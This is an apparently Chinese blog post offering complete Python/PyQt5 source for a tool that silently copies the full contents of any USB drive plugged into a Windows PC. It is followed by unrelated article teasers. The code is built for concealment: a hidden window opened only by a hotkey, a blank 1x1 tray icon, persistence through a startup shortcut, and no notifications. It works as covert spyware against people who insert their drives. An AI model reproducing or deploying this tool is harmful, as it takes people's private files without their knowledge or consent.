当前位置: 首页 > news >正文

Python实现U盘数据自动拷贝

功能:当电脑上有U盘插入时,自动复制U盘内的所有内容

主要特点:
1、使用PyQt5创建图形界面,但默认隐藏
2、通过Ctrl+Alt+U组合键可以显示/隐藏界面
3、自动添加到Windows启动项
4、监控USB设备插入
5、按修改时间排序复制文件
6、静默运行,无提示
7、自动跳过无法复制的文件
8、配置文件保存目标路径

使用说明:
1、首次运行时,按Ctrl+Alt+U显示界面
2、点击"选择目标文件夹"按钮设置保存位置
3、设置完成后可以关闭界面,程序会在后台运行
4、插入U盘后会自动复制内容到指定文件夹

 静默界面:

实现代码:

import os
import sys
import time
import json
import shutil
import ctypes
from ctypes import wintypes
import win32file
import win32api
import win32con
import win32gui
import win32com.client
import pythoncom
import win32event
import winerror
from datetime import datetime
from threading import Thread
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel, QSystemTrayIcon)
from PyQt5.QtCore import Qt, QTimer, QEvent
from PyQt5.QtGui import QIcon, QPixmapclass USBCopyTool(QMainWindow):def __init__(self):super().__init__()self.config_file = 'config.json'self.target_path = self.load_config()self.init_ui()self.setup_system_tray()self.setup_hotkey()# 添加窗口事件过滤器self.installEventFilter(self)# 启动USB监控线程self.monitor_thread = Thread(target=self.monitor_usb, daemon=True)self.monitor_thread.start()def init_ui(self):self.setWindowTitle('USB自动复制工具')self.setGeometry(300, 300, 400, 200)central_widget = QWidget()self.setCentralWidget(central_widget)layout = QVBoxLayout()self.path_label = QLabel(f'当前目标路径: {self.target_path}')layout.addWidget(self.path_label)select_btn = QPushButton('选择目标文件夹')select_btn.clicked.connect(self.select_target_path)layout.addWidget(select_btn)central_widget.setLayout(layout)self.hide()def setup_system_tray(self):self.tray_icon = QSystemTrayIcon(self)# 创建一个1x1的空白图标而不是完全没有图标blank_icon = QIcon()blank_icon.addPixmap(QPixmap(1, 1))self.tray_icon.setIcon(blank_icon)self.tray_icon.show()def setup_hotkey(self):# 注册全局热键 (Ctrl+Alt+U)self.hot_key_id = 1try:win32gui.RegisterHotKey(self.winId(), self.hot_key_id, win32con.MOD_CONTROL | win32con.MOD_ALT, ord('U'))except Exception as e:print(f"热键注册失败: {e}")def nativeEvent(self, eventType, message):try:if eventType == "windows_generic_MSG":msg = wintypes.MSG.from_address(message.__int__())if msg.message == win32con.WM_HOTKEY:if self.isVisible():self.hide()else:self.show()return True, 0except Exception as e:print(f"事件处理错误: {e}")return False, 0def load_config(self):try:with open(self.config_file, 'r') as f:config = json.load(f)return config.get('target_path', '')except:return ''def save_config(self):with open(self.config_file, 'w') as f:json.dump({'target_path': self.target_path}, f)def select_target_path(self):path = QFileDialog.getExistingDirectory(self, '选择目标文件夹')if path:self.target_path = pathself.path_label.setText(f'当前目标路径: {self.target_path}')self.save_config()def monitor_usb(self):drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])print(f"初始驱动器: {drives_before}")while True:try:drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])new_drives = drives_now - drives_beforeif new_drives:print(f"检测到新驱动器: {new_drives}")for drive in new_drives:drive_type = win32file.GetDriveType(drive)print(f"驱动器 {drive} 类型: {drive_type}")if drive_type == win32con.DRIVE_REMOVABLE:print(f"开始复制U盘 {drive} 内容")self.copy_usb_contents(drive)drives_before = drives_nowtime.sleep(1)except Exception as e:print(f"监控错误: {e}")time.sleep(1)def copy_usb_contents(self, drive):if not self.target_path:print("未设置目标路径")return# 获取U盘卷标名称try:volume_name = win32api.GetVolumeInformation(drive)[0]# 如果U盘没有卷标名称,则使用盘符if not volume_name:volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')# 替换非法字符volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|')except Exception as e:print(f"获取卷标名称失败: {e}")volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')target_folder = os.path.join(self.target_path, volume_name)print(f"复制到目标文件夹: {target_folder}")if not os.path.exists(target_folder):os.makedirs(target_folder)# 获取所有文件并按修改时间排序all_files = []try:for root, dirs, files in os.walk(drive):print(f"扫描目录: {root}")for file in files:file_path = os.path.join(root, file)try:mtime = os.path.getmtime(file_path)all_files.append((file_path, mtime))except Exception as e:print(f"无法获取文件信息: {file_path}, 错误: {e}")continueexcept Exception as e:print(f"扫描目录失败: {e}")all_files.sort(key=lambda x: x[1], reverse=True)print(f"找到 {len(all_files)} 个文件")# 复制文件for file_path, _ in all_files:try:rel_path = os.path.relpath(file_path, drive)target_path = os.path.join(target_folder, rel_path)target_dir = os.path.dirname(target_path)if not os.path.exists(target_dir):os.makedirs(target_dir)print(f"复制文件: {file_path} -> {target_path}")shutil.copy2(file_path, target_path)except Exception as e:print(f"复制失败: {file_path}, 错误: {e}")continuedef eventFilter(self, obj, event):if obj is self and event.type() == QEvent.WindowStateChange:if self.windowState() & Qt.WindowMinimized:# 延迟执行隐藏操作,避免界面闪烁QTimer.singleShot(0, self.hide)# 恢复窗口状态,这样下次显示时是正常状态self.setWindowState(Qt.WindowNoState)return Truereturn super().eventFilter(obj, event)def add_to_startup():try:startup_path = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')script_path = os.path.abspath(sys.argv[0])shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk')shell = win32com.client.Dispatch("WScript.Shell")shortcut = shell.CreateShortCut(shortcut_path)shortcut.Targetpath = script_pathshortcut.WorkingDirectory = os.path.dirname(script_path)shortcut.save()except Exception as e:print(f"添加到启动项失败: {e}")if __name__ == '__main__':# 确保只运行一个实例mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex')if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:mutex = Nonesys.exit(0)add_to_startup()app = QApplication(sys.argv)tool = USBCopyTool()sys.exit(app.exec_()) 

相关文章:

Python实现U盘数据自动拷贝

功能&#xff1a;当电脑上有U盘插入时&#xff0c;自动复制U盘内的所有内容 主要特点&#xff1a; 1、使用PyQt5创建图形界面&#xff0c;但默认隐藏 2、通过CtrlAltU组合键可以显示/隐藏界面 3、自动添加到Windows启动项 4、监控USB设备插入 5、按修改时间排序复制文件 6、静…...

汇编的使用总结

一、汇编的组成 1、汇编指令&#xff08;指令集&#xff09; 数据处理指令: 数据搬移指令 数据移位指令 位运算指令 算术运算指令 比较指令 跳转指令 内存读写指令 状态寄存器传送指令 异常产生指令等 2、伪指令 不是汇编指令&#xff0c;但是可以起到指令的作用&#xff0c;伪…...

DeepSeek理解概率的能力

问题&#xff1a; 下一个问题是概率问题。乘车时有一个人带刀子的概率是百分之一&#xff0c;两个人同时带刀子的概率是万分之一。有人认为如果他乘车时带上刀子&#xff0c;那么还有其他人带刀子的概率就是万分之一&#xff0c;他乘车就会安全得多。他的想法对吗&#xff1f;…...

AI 浪潮席卷中国年,开启科技新春新纪元

在这博主提前祝大家蛇年快乐呀&#xff01;&#xff01;&#xff01; 随着人工智能&#xff08;AI&#xff09;技术的飞速发展&#xff0c;其影响力已经渗透到社会生活的方方面面。在中国传统节日 —— 春节期间&#xff0c;AI 技术也展现出了巨大的潜力&#xff0c;为中国年带…...

AI时代的网络安全:传统技术的落寞与新机遇

AI时代的网络安全&#xff1a;传统技术的落寞与新机遇 在AI技术飞速发展的浪潮中&#xff0c;网络安全领域正经历着前所未有的变革。一方面&#xff0c;传统网络安全技术在面对新型攻击手段时逐渐显露出局限性&#xff1b;另一方面&#xff0c;AI为网络安全带来了新的机遇&…...

可以称之为“yyds”的物联网开源框架有哪几个?

有了物联网的发展&#xff0c;我们的生活似乎也变得更加“鲜活”、有趣、便捷&#xff0c;包具有科技感的。在物联网&#xff08;IoT&#xff09;领域中&#xff0c;也有许多优秀的开源框架支持设备连接、数据处理、云服务等&#xff0c;成为被用户们广泛认可的存在。以下给大家…...

线程局部存储tls的原理和使用

一、背景 tls即Thread Local Storage&#xff0c;也就是线程局部存储&#xff0c;可在进程内&#xff0c;多线程按照各个线程分开进行存储。对于一些与线程上下文相关的变量&#xff0c;可放到tls中&#xff0c;减少多线程之间的数据同步的开销。 有人可能会问&#xff0c;我…...

RK3588平台开发系列讲解(ARM篇)ARM64底层中断处理

文章目录 一、异常级别二、异常分类2.1、同步异常2.2、异步异常三、中断向量表沉淀、分享、成长,让自己和他人都能有所收获!😄 一、异常级别 ARM64处理器确实定义了4个异常级别(Exception Levels, EL),分别是EL0到EL3。这些级别用于管理处理器的特权级别和权限,级别越高…...

CAN总线

1. 数据帧&#xff08;Data Frame&#xff09; 数据帧是 CAN 总线中最常用的帧类型&#xff0c;用于传输实际的数据。其结构如下&#xff1a; 起始位&#xff08;Start of Frame, SOF&#xff09;&#xff1a;标志帧的开始。标识符&#xff08;Identifier&#xff09;&#x…...

qwen2.5-vl:阿里开源超强多模态大模型(包含使用方法、微调方法介绍)

1.简介 在 Qwen2-VL 发布后的五个月里&#xff0c;众多开发者基于该视觉语言模型开发了新的模型&#xff0c;并向 Qwen 团队提供了极具价值的反馈。在此期间&#xff0c;Qwen 团队始终致力于打造更具实用性的视觉语言模型。今天&#xff0c;Qwen 家族的最新成员——Qwen2.5-VL…...

python实现dbscan

python实现dbscan 原理 DBSCAN(Density-Based Spatial Clustering of Applications with Noise)是一个比较有代表性的基于密度的聚类算法。它将簇定义为密度相连的点的最大集合&#xff0c;能够把具有足够高密度的区域划分为簇&#xff0c;并可在噪声的空间数据库中发现任意形…...

学习数据结构(3)顺序表

1.动态顺序表的实现 &#xff08;1&#xff09;初始化 &#xff08;2&#xff09;扩容 &#xff08;3&#xff09;头部插入 &#xff08;4&#xff09;尾部插入 &#xff08;5&#xff09;头部删除 &#xff08;这里注意要保证有效数据个数不为0&#xff09; &#xff08;6&a…...

正在更新丨豆瓣电影详细数据的采集与可视化分析(scrapy+mysql+matplotlib+flask)

文章目录 豆瓣电影详细数据的采集与可视化分析(scrapy+mysql+matplotlib+flask)写在前面数据采集0.注意事项1.创建Scrapy项目`douban2025`2.用`PyCharm`打开项目3.创建爬虫脚本`douban.py`4.修改`items.py`的代码5.修改`pipelines.py`代码6.修改`settings.py`代码7.启动`doub…...

wx043基于springboot+vue+uniapp的智慧物流小程序

开发语言&#xff1a;Java框架&#xff1a;springbootuniappJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#…...

每日一题 430. 扁平化多级双向链表

430. 扁平化多级双向链表 简单 /*class Solution { public:Node* flatten(Node* head) {Node* tail nullptr;return dfs(head);}Node* dfs(Node* head){Node* cur head;while(cur ! nullptr){if(cur->child ! nullptr){Node* curChild getTail(cur->child);Node* te…...

UE学习日志#14 GAS--ASC源码简要分析10 GC相关

注&#xff1a;1.这个分类是按照源码里的注释分类的 2.本篇是通读并给出一些注释形式的&#xff0c;并不涉及结构性的分析 3.看之前要对UE的GAS系统的定义有初步了解 4.因为都是接口函数&#xff0c;有些没细看的研究那一部分的时候会细看 1 一些接口函数&#xff0c;但是…...

使用Python和Qt6创建GUI应用程序--关于Qt的一点介绍

关于Qt的一点介绍 Qt是一个免费的开源部件工具包&#xff0c;用于创建跨平台GUI应用程序&#xff0c;允许应用程序从Windows瞄准多个平台&#xff0c;macOS&#xff0c; Linux和Android的单一代码库。但是Qt不仅仅是一个Widget工具箱和功能内置支持多媒体&#xff0c;数据库&am…...

C#@符号在string.Format方法中作用

本文详解@符号在string.Format方法中作用。...

Next.js 14 TS 中使用jwt 和 App Router 进行管理

jwt是一个很基础的工作。但是因为架构不一样&#xff0c;就算是相同的架构&#xff0c;版本不一样&#xff0c;加jwt都会有一定的差别。现在我们的项目是Next.js 14 TS 的 App Router项目&#xff08;就是没有pages那种&#xff09;&#xff0c;添加jwt的步骤&#xff1a; 1、…...

【贪心算法】洛谷P1090 合并果子 / [USACO06NOV] Fence Repair G

2025 - 01 - 21 - 第 45 篇 【洛谷】贪心算法题单 -【 贪心算法】 - 【学习笔记】 作者(Author): 郑龙浩 / 仟濹(CSND账号名) 洛谷 P1090[NOIP2004 提高组] 合并果子 / [USACO06NOV] Fence Repair G 【贪心算法】 文章目录 洛谷 P1090[NOIP2004 提高组] 合并果子 / [USACO06…...

Windows11无法打开Windows安全中心主界面

​# 问题描述 安全中心无法打卡主界面&#xff0c;并弹出“需要使用新应用以打开此windowsdefender连接”. 解决方法 以管理员权限打开PowerShell&#xff0c;推荐使用快捷键win x打开快捷界面&#xff0c;选择Windows终端&#xff08;管理员&#xff09;&#xff0c;并在终…...

下载arm架构的deb包的方法

在ARM板上操作 如果你是在arm板上使用apt安装和下载包&#xff0c;那么安装过的包会在以下路径里&#xff1a; /var/cache/apt/archives只需要复制出来就可以 如果只下载不安装&#xff0c;可以使用命令 sudo apt-get -d install package_name:arm64 # 如果是32位&#xff0…...

【Day29 LeetCode】动态规划DP

一、动态规划DP 1、不同路径 62 首先是dp数组&#xff0c;dp[i][j]表示从起点(0, 0)到达当前位置(i, j)的路径数&#xff0c;转移方程从只能向下和向右移动可知&#xff0c;初始化边界可直观推出第一行和第一列上的位置只有一条路径。 class Solution { public:int uniquePa…...

5分钟带你获取deepseek api并搭建简易问答应用

目录 1、获取api 2、获取base_url和chat_model 3、配置模型参数 方法一&#xff1a;终端中临时将加入 方法二&#xff1a;创建.env文件 4、 配置client 5、利用deepseek大模型实现简易问答 deepseek-v3是截止博文撰写之日&#xff0c;无论是国内还是国际上发布的大模型中…...

LeetCode题练习与总结:最短无序连续子数组--581

一、题目描述 给你一个整数数组 nums &#xff0c;你需要找出一个 连续子数组 &#xff0c;如果对这个子数组进行升序排序&#xff0c;那么整个数组都会变为升序排序。 请你找出符合题意的 最短 子数组&#xff0c;并输出它的长度。 示例 1&#xff1a; 输入&#xff1a;num…...

探秘 TCP TLP:从背景到实现

回家的路上还讨论了个关于 TCP TLP 的问题&#xff0c;闲着无事缕一缕。本文内容参考自 Tail Loss Probe (TLP): An Algorithm for Fast Recovery of Tail Losses 以及 Linux 内核源码。 TLP&#xff0c;先说缘由。自 TCP 引入 Fast retrans 机制就是为了尽力避免 RTO&#xf…...

linux学习之网络编程

一、两个模型及其对应关系 OSI七层模型 TCP/IP 四层模型 -------------------------------------------------------------------------- 应用层 表示层 ----> …...

scrol家族 offset家族 client家族学习

Scroll 系列属性 scrollTop & scrollLeft scrollTop: 返回元素的内容已向上滚动的部分的高度。scrollLeft: 返回元素的内容已向左滚动的部分的宽度。 scrollHeight & scrollWidth scrollHeight: 返回元素的实际高度&#xff0c;包括由于溢出而在屏幕上不可见的内容…...

css-background-color(transparent)

1.前言 在 CSS 中&#xff0c;background-color 属性用于设置元素的背景颜色。除了基本的颜色值&#xff08;如 red、blue 等&#xff09;和十六进制颜色值&#xff08;如 #FF0000、#0000FF 等&#xff09;&#xff0c;还有一些特殊的属性值可以用来设置背景颜色。 2.backgrou…...

如何将xps文件转换为txt文件?xps转为pdf,pdf转为txt,提取pdf表格并转为txt

文章目录 xps转txt方法一方法二 pdf转txt整页转txt提取pdf表格&#xff0c;并转为txt 总结另外参考XPS文件转换为TXT文件XPS文件转换为PDF文件PDF文件转换为TXT文件提取PDF表格并转为TXT示例代码&#xff08;部分&#xff09; 本文测试代码已上传&#xff0c;路径如下&#xff…...